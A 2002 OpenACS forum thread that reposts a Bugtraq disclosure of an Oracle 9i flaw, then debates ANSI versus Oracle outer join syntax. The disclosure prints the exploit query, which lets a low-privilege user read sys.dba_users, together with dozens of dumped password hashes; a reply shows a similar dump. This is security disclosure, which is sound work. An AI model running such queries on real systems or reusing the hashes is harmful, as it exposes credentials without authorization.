Forum OpenACS Q&A: Bugtraq: ansi outer join syntax in Oracle 9i allows access to any data
Date: Tue, 16 Apr 2002 16:24:45 +0100 From: Pete Finnigan email@example.com To: BUGTRAQ@securityfocus.com Subject: ansi outer join syntax in Oracle allows access to any data Hi all I thought this list may be interested in this issue, apologies if its known here already. Oracle 9i includes the new ANSI outer join syntax. Oracle still supports the old syntax but in the new syntax there is a serious security issue that allows any user to view any data. here is an example: SQL*Plus: Release 126.96.36.199.1 - Production on Tue Apr 16 15:16:45 2 (c) Copyright 2001 Oracle Corporation. All rights reserved. Connected to: Oracle9i Enterprise Edition Release 188.8.131.52.1 - Production With the Partitioning option JServer Release 184.108.40.206.1 - Production SQL> connect / as sysdba Connected. SQL> CREATE USER us1 IDENTIFIED BY us11; User created. SQL> Grant Create Session to us1; Grant succeeded. SQL> connect us1/us11; Connected. SQL> select a.username, a.password 2 from sys.dba_users a left outer join sys.dba_users b on 3 b.username = a.username 4 ; USERNAME PASSWORD ------------------------------ ------------------------------ SYS D4C5016086B2DC6A SYSTEM D4DF7931AB130E37 DBSNMP E066D214D5421CCC AURORA$JIS$UTILITY$ INVALID_ENCRYPTED_PASSWORD OSE$HTTP$ADMIN INVALID_ENCRYPTED_PASSWORD AURORA$ORB$UNAUTHENTICATED INVALID_ENCRYPTED_PASSWORD SCOTT F894844C34402B67 US1 491AB9AB94D8A9EF OUTLN 4A3BA55E08595C81 ORDSYS 7EFA02EC7EA6B86F OLAPSVR AF52CFD036E8F425 USERNAME PASSWORD ------------------------------ ------------------------------ OLAPSYS 3FB8EF9DB538647C ORDPLUGINS 88A2B2C183431F00 MDSYS 72979A94BAD2AF80 CTXSYS 71E687F036AD56E5 WKSYS 69ED49EE1851900D OLAPDBA 1AF71599EDACFB00 QS_CBADM 7C632AFB71F8D305 QS_ADM 991CDDAD5C5C32CA QS 8B09C6075BDF2DC4 QS_WS 24ACF617DD7D8F2F HR 6399F3B38EDF3288 USERNAME PASSWORD ------------------------------ ------------------------------ OE 9C30855E7E0CB02D PM 72E382A52E89575A SH 9793B3777CD3BD1A QS_ES E6A6FA4BB042E3C2 QS_OS FF09F3EB14AE5C26 RMAN E7B5D92911C831E1 QS_CB CF9CFACF5AE24964 QS_CS 91A00922D8C0F146 30 rows selected. SQL> This shows that a user with the barest of privileges, i.e. CREATE SESSION can actually see data in the data dictionary that should not be seen. In this example we can select the list of usernames and their hashes. I wanted to bring this issue to the security community as its doing the rounds on the oracle server newsgroup. Oracle are already aware of this as there is a bug to cover it number 2121935. Its marked as fixed in 9.2 and will not be back ported to earlier versions of Oracle. I could not find this on the oracle security alerts site or on the bug traq database so here it is. Best regards Pete Finnigan www.pentest-limited.com -- This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager at firstname.lastname@example.org -- Pete Finnigan IT Security Consultant PenTest Limited Office 01565 830 990 Fax 01565 830 889 Mobile 07974 087 885 email@example.com www.pentest-limited.com
Date: Tue, 16 Apr 2002 16:34:00 -0400 From: Charles J Wertz firstname.lastname@example.org To: Pete Finnigan email@example.com, BUGTRAQ@securityfocus.com Cc: firstname.lastname@example.org Subject: Re: ansi outer join syntax in Oracle allows access to any data You don't need 9i or ansi syntax. Connected to: Oracle8i Enterprise Edition Release 220.127.116.11.0 - Production With the Partitioning option JServer Release 18.104.22.168.0 - Production SQL> set serveroutput on size 1000000 SQL> sta users SQL> select username, user_id, password from sys.dba_users 2 / ...................... USERNAME USER_ID PASSWORD ------------------------------ ---------- ------------------------------ GABRMJ21 206 A08F7F24DCD35845 ABDUSM62 204 25F6BFBE9888CB23 CLARVL18 205 E45523E8504F938E SYMEJM94 195 BF1A81C928566EEE COSAL75 118 4EDA8C950487B16F CONNTS37 117 B3EB3D464F64E317 ANASD51 111 AC5DE6711420E91E FEDEJB07 224 5111DAC3006F6D81 DELLJM28 223 FC707A68849F1C3F CARTKR33 222 2002A82D0DB2DB19 BRANLD12 221 9857842415FF35B5 ... I haven't checked this out. I take it these are encrypted passwords ?? cjw
From: Pete Finnigan email@example.com To: BUGTRAQ@securityfocus.com Subject: Re: ansi outer join syntax in Oracle allows access to any data Hi Oracle have now posted an advisory to their security alerts page on 17 april. The URL is http://otn.oracle.com/deploy/security/pdf/sql_joins_alert.pdf cheers Pete Finnigan
<p>In total disregard of the security implications of this horrible (and inexcusable) Oracle bug (which would never make it past a PG beta) ...
<p>I have to ask "why do you hate the ANSI join syntax"?
<p>The Oracle and various other hacks on "=" mask the fact that query qualification (boolean operators applied after a join) are confused with with join operators. Among other things the query engine needs to figure out which proto-boolean operations are joins and which are boolean qualifiers applied after all joins.
<p>There's no syntactic help for the reader, human (human's *are* important) or machine.
<p>Now ... the ANSI solution is wordy but the principle - that joins be placed in the syntactic portion of a query that denotes which tables are being queried on (and a join is nothing more than a specification of a new table synthesized from two others) - is sound.
<p>The wordiness is a problem, though...I will concede that. Specifying joins in the table-specifying "from" clause does allow joins that you can't express in Oracle's "= ... (+)" hack or Sybase's "=* ..." hack ... as much as you hate it, you can write joins in it that you can't write in Oracle's old syntax.
I have to ask "why do you hate the ANSI join syntax"?I find the ANSI join syntax not only wordy, but clumsy and inelegant. And that's the precise reason for me using the term "hate": it's a personal preference thing. Or perhaps there's some slowness in my brain cells to adapt to new things...
[...] The wordiness is a problem, though...I will concede that. Specifying joins in the table-specifying "from" clause does allow joins that you can't express in Oracle's "= ... (+)" hack or Sybase's "=* ..." hack ... as much as you hate it, you can write joins in it that you can't write in Oracle's old syntax.
About the limitations of "=(+)", are you referring to these? If not, could you expand on them?
> outer join syntax. MS has some nice syntactical sugar with the *=/=* > operators that Postgres dosen't seem to support. Some of us view it as "nonstandard and broken", not as "nice syntactical sugar" . > I'm just not grasping how one would accomplish the same using the SQL-92 > syntax. SELECT ... FROM ASSESSMENT_MEDICAL a LEFT JOIN AGENCIES ag ON a.Agency_creating = ag.Agency_id LEFT JOIN YESNO_TYPES02 y1 ON a.Health_prob = y1.Yesno_code LEFT JOIN ... WHERE a.inactive != 'Y' AND a.Client_id = $Edit_Client_id; While this is more typing, it's clear which conditions determine joinability and which are filters on the overall result, which is a critical semantic issue that the Oracle/MS syntax fails miserably on. For example, suppose I want to add a constraint like y1.col3 = 'foo'. Now, if there are no rows meeting that constraint for a given value of a.Health_prob = y1.Yesno_code, does that mean I want to have ASSESSMENT_MEDICAL rows with that Health_prob show up with nulls substituted for the y1 fields? Or does it mean that I don't want to see those rows at all? AFAICS there's no way to make that distinction with the Oracle/MS approach. With the standard syntax, you put the additional constraint in ON in one case, and in WHERE in the other case. ...
I'm not fond of the silent errors that can arise from not using (+) consistently.
And of course the old Oracle syntax doesn't support full outer joins.
Nor does it support outer joins using complex expressions rather than simple columns.
We don't use the last two in OpenACS but once we move to Oracle 9i we might (hard to use something that doesn't exist in your supported version, and thus far we support 8i not 9i).